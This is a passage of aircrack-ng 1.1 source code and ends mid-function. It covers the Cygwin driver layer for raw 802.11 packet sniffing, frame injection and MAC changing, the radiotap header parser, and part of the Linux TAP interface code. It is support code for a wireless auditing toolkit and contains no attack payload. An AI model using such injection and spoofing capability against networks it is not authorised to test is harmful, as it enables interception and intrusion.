You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #include "cygwin.h" #ifdef HAVE_AIRPCAP #include "airpcap.h" #endif #define xstr(s) str(s) #define str(s) #s #define DLL_EXTENSION ".dll" struct priv_cygwin { pthread_t pc_reader; volatile int pc_running; int pc_pipe[2]; /* reader -> parent */ int pc_channel; struct wif *pc_wi; int pc_did_init; int isAirpcap; int useDll; int (*pc_init)(char *param); int (*pc_set_chan)(int chan); int (*pc_inject)(void *buf, int len, struct tx_info *ti); int (*pc_sniff)(void *buf, int len, struct rx_info *ri); int (*pc_get_mac)(void *mac); int (*pc_set_mac)(void *mac); void (*pc_close)(void); }; /** * strstr() function case insensitive * @param String C string to be scanned * @param Pattern C string containing the sequence of characters to match * @return Pointer to the first occurrence of Pattern in String, or a null pointer if there Pattern is not part of String. */ char *stristr(const char *String, const char *Pattern) { char *pptr, *sptr, *start; uint slen, plen; for (start = (char *)String, pptr = (char *)Pattern, slen = strlen(String), plen = strlen(Pattern); /* while string length not shorter than pattern length */ slen >= plen; start++, slen--) { /* find start of pattern in string */ while (toupper((int)*start) != toupper((int)*Pattern)) { start++; slen--; /* if pattern longer than string */ if (slen < plen) return(NULL); } sptr = start; pptr = (char *)Pattern; while (toupper((int)*sptr) == toupper((int)*pptr)) { sptr++; pptr++; /* if end of pattern then pattern was found */ if ('\0' == *pptr) return (start); } } return(NULL); } /** * Get the different functions for to interact with the device: * - setting monitor mode * - changing channel * - capturing data * - injecting packets * @param iface The interface name */ static int do_cygwin_open(struct wif *wi, char *iface) { struct priv_cygwin *priv = wi_priv(wi); void *lib; char *file; char *parm; int rc = -1; int tempret = 0; if (!iface) return -1; if (strlen(iface) == 0) return -1; priv->useDll = 0; if (stristr(iface, DLL_EXTENSION)) priv->useDll = 1; if (priv->useDll) { file = strdup(iface); if (!file) return -1; parm = strchr(file, '|'); if (parm) *parm++ = 0; /* load lib */ lib = dlopen(file, RTLD_LAZY); if (!lib) goto errdll; priv->pc_init = dlsym(lib, xstr(CYGWIN_DLL_INIT)); priv->pc_set_chan = dlsym(lib, xstr(CYGWIN_DLL_SET_CHAN)); priv->pc_get_mac = dlsym(lib, xstr(CYGWIN_DLL_GET_MAC)); priv->pc_set_mac = dlsym(lib, xstr(CYGWIN_DLL_SET_MAC)); priv->pc_close = dlsym(lib, xstr(CYGWIN_DLL_CLOSE)); priv->pc_inject = dlsym(lib, xstr(CYGWIN_DLL_INJECT)); priv->pc_sniff = dlsym(lib, xstr(CYGWIN_DLL_SNIFF)); if (!(priv->pc_init && priv->pc_set_chan && priv->pc_get_mac && priv->pc_inject && priv->pc_sniff && priv->pc_close)) goto errdll; /* init lib */ if ((rc = priv->pc_init(parm))) goto errdll; priv->pc_did_init = 1; rc = 0; errdll: free(file); } else { #ifdef HAVE_AIRPCAP // Check if it's an Airpcap device priv->isAirpcap = isAirpcapDevice(iface); if (priv->isAirpcap) { // Get functions priv->pc_init = airpcap_init; priv->pc_set_chan = airpcap_set_chan; priv->pc_get_mac = airpcap_get_mac; priv->pc_set_mac = airpcap_set_mac; priv->pc_close = airpcap_close; priv->pc_inject = airpcap_inject; priv->pc_sniff = airpcap_sniff; rc = 0; } #endif } if (rc == 0) { // Don't forget to initialize if (! priv->useDll) { rc = priv->pc_init(iface); if (rc == 0) priv->pc_did_init = 1; else fprintf(stderr,"Error initializing <%s>\n", iface); } /* set initial chan */ tempret = wi_set_channel(wi, 1); if (tempret) rc = tempret; } else { // Show an error message if the adapter is not supported fprintf(stderr, "Adapter <%s> not supported\n", iface); } return rc; } /** * Change channel * @param chan Channel * @return 0 if successful, -1 if it failed */ static int cygwin_set_channel(struct wif *wi, int chan) { struct priv_cygwin *priv = wi_priv(wi); if (priv->pc_set_chan(chan) == -1) return -1; priv->pc_channel = chan; return 0; } /** * Capture a packet * @param buf Buffer for the packet (has to be already allocated) * @param len Length of the buffer * @param ri Receive information structure * @return -1 in case of failure or the number of bytes received */ static int cygwin_read_packet(struct priv_cygwin *priv, void *buf, int len, struct rx_info *ri) { int rd; memset(ri, 0, sizeof(*ri)); rd = priv->pc_sniff(buf, len, ri); if (rd == -1) return -1; if (!ri->ri_channel) ri->ri_channel = wi_get_channel(priv->pc_wi); return rd; } /** * Send a packet * @param h80211 The packet itself * @param len Length of the packet * @param ti Transmit information * @return -1 if failure or the number of bytes sent */ static int cygwin_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_cygwin *priv = wi_priv(wi); int rc; if ((rc = priv->pc_inject(h80211, len, ti)) == -1) return -1; return rc; } /** * Get device channel * @return channel */ static int cygwin_get_channel(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_channel; } int cygwin_read_reader(int fd, int plen, void *dst, int len) { /* packet */ if (len > plen) len = plen; if (net_read_exact(fd, dst, len) == -1) return -1; plen -= len; /* consume packet */ while (plen) { char lame[1024]; int rd = sizeof(lame); if (rd > plen) rd = plen; if (net_read_exact(fd, lame, rd) == -1) return -1; plen -= rd; assert(plen >= 0); } return len; } static int cygwin_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_cygwin *pc = wi_priv(wi); struct rx_info tmp; int plen; if (pc->pc_running == -1) return -1; if (!ri) ri = &tmp; /* length */ if (net_read_exact(pc->pc_pipe[0], &plen, sizeof(plen)) == -1) return -1; /* ri */ if (net_read_exact(pc->pc_pipe[0], ri, sizeof(*ri)) == -1) return -1; plen -= sizeof(*ri); assert(plen > 0); return cygwin_read_reader(pc->pc_pipe[0], plen, h80211, len); } /** * Free allocated data */ static void do_free(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); int tries = 3; /* wait for reader */ if (pc->pc_running == 1) { pc->pc_running = 0; while ((pc->pc_running != -1) && tries--) sleep(1); } if (pc->pc_pipe[0]) { close(pc->pc_pipe[0]); close(pc->pc_pipe[1]); } if (pc->pc_did_init) pc->pc_close(); assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } /** * Close the device and free data */ static void cygwin_close(struct wif *wi) { do_free(wi); } /** * Get the file descriptor for the device */ static int cygwin_fd(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); if (pc->pc_running == -1) return -1; return pc->pc_pipe[0]; } /** * Get MAC Address of the device * @param mac It will contain the mac address * @return 0 if successful */ static int cygwin_get_mac(struct wif *wi, unsigned char *mac) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_get_mac(mac); } /** * Set MAC Address of the device * @param mac MAC Address * @return 0 if successful */ static int cygwin_set_mac(struct wif *wi, unsigned char *mac) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_set_mac(mac); } static int cygwin_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ return 0; } static int cygwin_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ return 1000000; } /** * Set (injection) rate of the device * @param rate Rate to be used * @return 0 (successful) */ static int cygwin_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ return 0; } static void *cygwin_reader(void *arg) { struct priv_cygwin *priv = arg; unsigned char buf[2048]; int len; struct rx_info ri; while (priv->pc_running) { /* read one packet */ len = cygwin_read_packet(priv, buf, sizeof(buf), &ri); if (len == -1) break; /* len */ len += sizeof(ri); if (write(priv->pc_pipe[1], &len, sizeof(len)) != sizeof(len)) break; len -= sizeof(ri); /* ri */ if (write(priv->pc_pipe[1], &ri, sizeof(ri)) != sizeof(ri)) break; /* packet */ if (write(priv->pc_pipe[1], buf, len) != len) break; } priv->pc_running = -1; return NULL; } static struct wif *cygwin_open(char *iface) { struct wif *wi; struct priv_cygwin *priv; /* setup wi struct */ wi = wi_alloc(sizeof(*priv)); if (!wi) return NULL; wi->wi_read = cygwin_read; wi->wi_write = cygwin_write; wi->wi_set_channel = cygwin_set_channel; wi->wi_get_channel = cygwin_get_channel; wi->wi_close = cygwin_close; wi->wi_fd = cygwin_fd; wi->wi_get_mac = cygwin_get_mac; wi->wi_set_mac = cygwin_set_mac; wi->wi_get_rate = cygwin_get_rate; wi->wi_set_rate = cygwin_set_rate; wi->wi_get_monitor = cygwin_get_monitor; /* setup iface */ if (do_cygwin_open(wi, iface) == -1) goto err; /* setup private state */ priv = wi_priv(wi); priv->pc_wi = wi; /* setup reader */ if (pipe(priv->pc_pipe) == -1) goto err; priv->pc_running = 2; if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv)) goto err; priv->pc_running = 1; return wi; err: do_free(wi); return NULL; } struct wif *wi_open_osdep(char *iface) { return cygwin_open(iface); } /** * Return remaining battery time in seconds. * @return Battery time in seconds or 0 if no battery (or connected to power) */ int get_battery_state(void) { SYSTEM_POWER_STATUS powerStatus; int batteryTime = 0; if (GetSystemPowerStatus(&powerStatus) == TRUE) { if (powerStatus.ACLineStatus == 0) batteryTime = (int)powerStatus.BatteryLifeTime; } return batteryTime; } aircrack-ng-1.1/src/osdep/radiotap/0000755000000000000000000000000011364675641015753 5ustar rootrootaircrack-ng-1.1/src/osdep/radiotap/radiotap-parser.h0000644000000000000000000000512711215211035021200 0ustar rootroot/* * Copyright (c) 2007, 2008, Andy Green * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; version 2. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #define __user #include "../byteorder.h" #include typedef uint64_t u64; typedef uint32_t u32; typedef uint16_t u16; typedef uint8_t u8; #ifndef unlikely #define unlikely(x) (x) #endif #include "ieee80211_radiotap.h" /* * Radiotap header iteration * implemented in src/radiotap-parser.c * * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * then loop calling __ieee80211_radiotap_iterator_next()... it returns -1 * if there are no more args in the header, or the next argument type index * that is present. The iterator's this_arg member points to the start of the * argument associated with the current argument index that is present, * which can be found in the iterator's this_arg_index member. This arg * index corresponds to the IEEE80211_RADIOTAP_... defines. */ /** * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args * @rtheader: pointer to the radiotap header we are walking through * @max_length: length of radiotap header in cpu byte ordering * @this_arg_index: IEEE80211_RADIOTAP_... index of current arg * @this_arg: pointer to current radiotap arg * @arg_index: internal next argument index * @arg: internal next argument pointer * @next_bitmap: internal pointer to next present u32 * @bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present */ struct ieee80211_radiotap_iterator { struct ieee80211_radiotap_header *rtheader; int max_length; int this_arg_index; u8 * this_arg; int arg_index; u8 * arg; u32 *next_bitmap; u32 bitmap_shifter; }; int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator * iterator, struct ieee80211_radiotap_header * radiotap_header, int max_length); int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator * iterator); aircrack-ng-1.1/src/osdep/radiotap/ieee80211_radiotap.h0000644000000000000000000002326611215211035021275 0ustar rootroot/* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ /* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ /*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ /* * Modifications to fit into the linux IEEE 802.11 stack, * Mike Kershaw (dragorn@kismetwireless.net) */ #ifndef IEEE80211RADIOTAP_H #define IEEE80211RADIOTAP_H /* Radiotap header version (from official NetBSD feed) */ #define IEEE80211RADIOTAP_VERSION "1.5" /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* A generic radio capture format is desirable. There is one for * Linux, but it is neither rigidly defined (there were not even * units given for some fields) nor easily extensible. * * I suggest the following extensible radio capture format. It is * based on a bitmap indicating which fields are present. * * I am trying to describe precisely what the application programmer * should expect in the following, and for that reason I tell the * units and origin of each measurement (where it applies), or else I * use sufficiently weaselly language ("is a monotonically nondecreasing * function of...") that I cannot set false expectations for lawyerly * readers. */ /* XXX tcpdump/libpcap do not tolerate variable-length headers, * yet, so we pad every radiotap header to 64 bytes. Ugh. */ #define IEEE80211_RADIOTAP_HDRLEN 64 /* The radio capture header precedes the 802.11 header. * All data in the header is little endian on all platforms. */ struct ieee80211_radiotap_header { u8 it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ u8 it_pad; u16 it_len; /* length of the whole * header in bytes, including * it_version, it_pad, * it_len, and data fields. */ u32 it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; #define IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK 0x80000000 /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT __le64 microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x __le16 MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS __le16 see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u8 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY __le16 unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION __le16 unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION __le16 decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u8 bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u8 antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_RX_FLAGS __le16 bitmap * * Properties of received frames. See flags defined below. * * IEEE80211_RADIOTAP_TX_FLAGS __le16 bitmap * * Properties of transmitted frames. See flags defined below. * * IEEE80211_RADIOTAP_RTS_RETRIES u8 data * * Number of rts retries a transmitted frame used. * * IEEE80211_RADIOTAP_DATA_RETRIES u8 data * * Number of unicast retries a transmitted frame used. * */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_EXT = 31 }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ /* For IEEE80211_RADIOTAP_RX_FLAGS */ #define IEEE80211_RADIOTAP_F_RX_BADFCS 0x0001 /* frame failed crc check */ /* For IEEE80211_RADIOTAP_TX_FLAGS */ #define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ #define IEEE80211_RADIOTAP_F_TX_NOACK 0x0008 /* frame should not be ACKed */ #define IEEE80211_RADIOTAP_F_TX_NOSEQ 0x0010 /* sequence number handled * by userspace */ /* Ugly macro to convert literal channel numbers into their mhz equivalents * There are certianly some conditions that will break this (like feeding it '30') * but they shouldn't arise since nothing talks on channel 30. */ #define ieee80211chan2mhz(x) \ (((x) <= 14) ? \ (((x) == 14) ? 2484 : ((x) * 5) + 2407) : \ ((x) + 1000) * 5) #endif /* IEEE80211_RADIOTAP_H */ aircrack-ng-1.1/src/osdep/radiotap/Makefile0000644000000000000000000000005611215211035017366 0ustar rootrootall: install: uninstall: clean: rm -f *.o aircrack-ng-1.1/src/osdep/radiotap/radiotap-parser.c0000644000000000000000000001675311344514451021215 0ustar rootroot /* * Copyright (c) 2007, 2008, Andy Green * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include "radiotap-parser.h" /* * Radiotap header iteration * implemented in src/radiotap-parser.c * * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * then loop calling __ieee80211_radiotap_iterator_next()... it returns -1 * if there are no more args in the header, or the next argument type index * that is present. The iterator's this_arg member points to the start of the * argument associated with the current argument index that is present, * which can be found in the iterator's this_arg_index member. This arg * index corresponds to the IEEE80211_RADIOTAP_... defines. */ int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator * iterator, struct ieee80211_radiotap_header * radiotap_header, int max_length) { if(iterator == NULL) return (-EINVAL); if(radiotap_header == NULL) return (-EINVAL); /* Linux only supports version 0 radiotap format */ if (radiotap_header->it_version) return (-EINVAL); /* sanity check for allowed length and radiotap length field */ if (max_length < (le16_to_cpu(radiotap_header->it_len))) return (-EINVAL); iterator->rtheader = radiotap_header; iterator->max_length = le16_to_cpu(radiotap_header->it_len); iterator->arg_index = 0; iterator->bitmap_shifter = le32_to_cpu(radiotap_header->it_present); iterator->arg = ((u8 *)radiotap_header) + sizeof (struct ieee80211_radiotap_header); iterator->this_arg = 0; /* find payload start allowing for extended bitmap(s) */ if (unlikely(iterator->bitmap_shifter & IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK)) { while (le32_to_cpu(*((u32 *)iterator->arg)) & IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK) { iterator->arg += sizeof (u32); /* * check for insanity where the present bitmaps * keep claiming to extend up to or even beyond the * stated radiotap header length */ if ((((void*)iterator->arg) - ((void*)iterator->rtheader)) > iterator->max_length) return (-EINVAL); } iterator->arg += sizeof (u32); /* * no need to check again for blowing past stated radiotap * header length, becuase ieee80211_radiotap_iterator_next * checks it before it is dereferenced */ } /* we are all initialized happily */ return (0); } /** * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg * @iterator: radiotap_iterator to move to next arg (if any) * * Returns: next present arg index on success or negative if no more or error * * This function returns the next radiotap arg index (IEEE80211_RADIOTAP_...) * and sets iterator->this_arg to point to the payload for the arg. It takes * care of alignment handling and extended present fields. interator->this_arg * can be changed by the caller. The args pointed to are in little-endian * format. */ int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator * iterator) { /* * small length lookup table for all radiotap types we heard of * starting from b0 in the bitmap, so we can walk the payload * area of the radiotap header * * There is a requirement to pad args, so that args * of a given length must begin at a boundary of that length * -- but note that compound args are allowed (eg, 2 x u16 * for IEEE80211_RADIOTAP_CHANNEL) so total arg length is not * a reliable indicator of alignment requirement. * * upper nybble: content alignment for arg * lower nybble: content length for arg */ static const u8 rt_sizes[] = { [IEEE80211_RADIOTAP_TSFT] = 0x88, [IEEE80211_RADIOTAP_FLAGS] = 0x11, [IEEE80211_RADIOTAP_RATE] = 0x11, [IEEE80211_RADIOTAP_CHANNEL] = 0x24, [IEEE80211_RADIOTAP_FHSS] = 0x22, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = 0x11, [IEEE80211_RADIOTAP_LOCK_QUALITY] = 0x22, [IEEE80211_RADIOTAP_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DBM_TX_POWER] = 0x11, [IEEE80211_RADIOTAP_ANTENNA] = 0x11, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DB_ANTNOISE] = 0x11 /* * add more here as they are defined in * include/net/ieee80211_radiotap.h */ }; /* * for every radiotap entry we can at * least skip (by knowing the length)... */ while (iterator->arg_index < (int)sizeof (rt_sizes)) { int hit = 0; if (!(iterator->bitmap_shifter & 1)) goto next_entry; /* arg not present */ /* * arg is present, account for alignment padding * 8-bit args can be at any alignment * 16-bit args must start on 16-bit boundary * 32-bit args must start on 32-bit boundary * 64-bit args must start on 64-bit boundary * * note that total arg size can differ from alignment of * elements inside arg, so we use upper nybble of length * table to base alignment on * * also note: these alignments are ** relative to the * start of the radiotap header **. There is no guarantee * that the radiotap header itself is aligned on any * kind of boundary. */ if ((((void*)iterator->arg)-((void*)iterator->rtheader)) & ((rt_sizes[iterator->arg_index] >> 4) - 1)) iterator->arg_index += (rt_sizes[iterator->arg_index] >> 4) - ((((void*)iterator->arg) - ((void*)iterator->rtheader)) & ((rt_sizes[iterator->arg_index] >> 4) - 1)); /* * this is what we will return to user, but we need to * move on first so next call has something fresh to test */ iterator->this_arg_index = iterator->arg_index; iterator->this_arg = iterator->arg; hit = 1; /* internally move on the size of this arg */ iterator->arg += rt_sizes[iterator->arg_index] & 0x0f; /* * check for insanity where we are given a bitmap that * claims to have more arg content than the length of the * radiotap section. We will normally end up equalling this * max_length on the last arg, never exceeding it. */ if ((((void*)iterator->arg) - ((void*)iterator->rtheader)) > iterator->max_length) return (-EINVAL); next_entry: iterator->arg_index++; if (unlikely((iterator->arg_index & 31) == 0)) { /* completed current u32 bitmap */ if (iterator->bitmap_shifter & 1) { /* b31 was set, there is more */ /* move to next u32 bitmap */ iterator->bitmap_shifter = le32_to_cpu( *iterator->next_bitmap); iterator->next_bitmap++; } else { /* no more bitmaps: end */ iterator->arg_index = sizeof (rt_sizes); } } else { /* just try the next bit */ iterator->bitmap_shifter >>= 1; } /* if we found a valid arg earlier, return it now */ if (hit) return (iterator->this_arg_index); } /* we don't know how to handle any more args, we're done */ return (-1); } aircrack-ng-1.1/src/osdep/linux_tap.c0000644000000000000000000001130711052600530016274 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for Linux. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_linux { int tl_fd; struct ifreq tl_ifr; int tl_ioctls; char tl_name[MAX_IFACE_NAME]; }; static int ti_do_open_linux(struct tif *ti, char *name) { int fd_tap; struct ifreq if_request; struct tip_linux *priv = ti_priv(ti); fd_tap = open( name ? name : "/dev/net/tun", O_RDWR ); if(fd_tap < 0 ) { printf( "error opening tap device: %s\n", strerror( errno ) ); printf( "try \"modprobe tun\"\n"); return -1; } memset( &if_request, 0, sizeof( if_request ) ); if_request.ifr_flags = IFF_TAP | IFF_NO_PI; strncpy( if_request.ifr_name, "at%d", IFNAMSIZ ); if( ioctl( fd_tap, TUNSETIFF, (void *)&if_request ) < 0 ) { printf( "error creating tap interface: %s\n", strerror( errno ) ); close( fd_tap ); return -1; } strncpy( priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME ); strncpy(priv->tl_ifr.ifr_name, priv->tl_name, sizeof(priv->tl_ifr.ifr_name) - 1); if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1) { priv->tl_ioctls = 0; close(fd_tap); return -1; } return fd_tap; } static void ti_do_free(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_close_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); close(priv->tl_fd); close(priv->tl_ioctls); ti_do_free(ti); } static char *ti_name_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); return priv->tl_name; } static int ti_set_mtu_linux(struct tif *ti, int mtu) { struct tip_linux *priv = ti_priv(ti); priv->tl_ifr.ifr_mtu = mtu; return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr); } static int ti_get_mtu_linux(struct tif *ti) { int mtu; struct tip_linux *priv = ti_priv(ti); ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr); mtu = priv->tl_ifr.ifr_mtu; return mtu; } static int ti_set_mac_linux(struct tif *ti, unsigned char *mac) { struct tip_linux *priv = ti_priv(ti); memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6); priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr); } static int ti_set_ip_linux(struct tif *ti, struct in_addr *ip) { struct tip_linux *priv = ti_priv(ti); struct sockaddr_in *s_in; s_in = (struct sockaddr_in*) &priv->tl_ifr.ifr_addr; s_in->sin_family = AF_INET; s_in->sin_addr = *ip; return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr); } static int 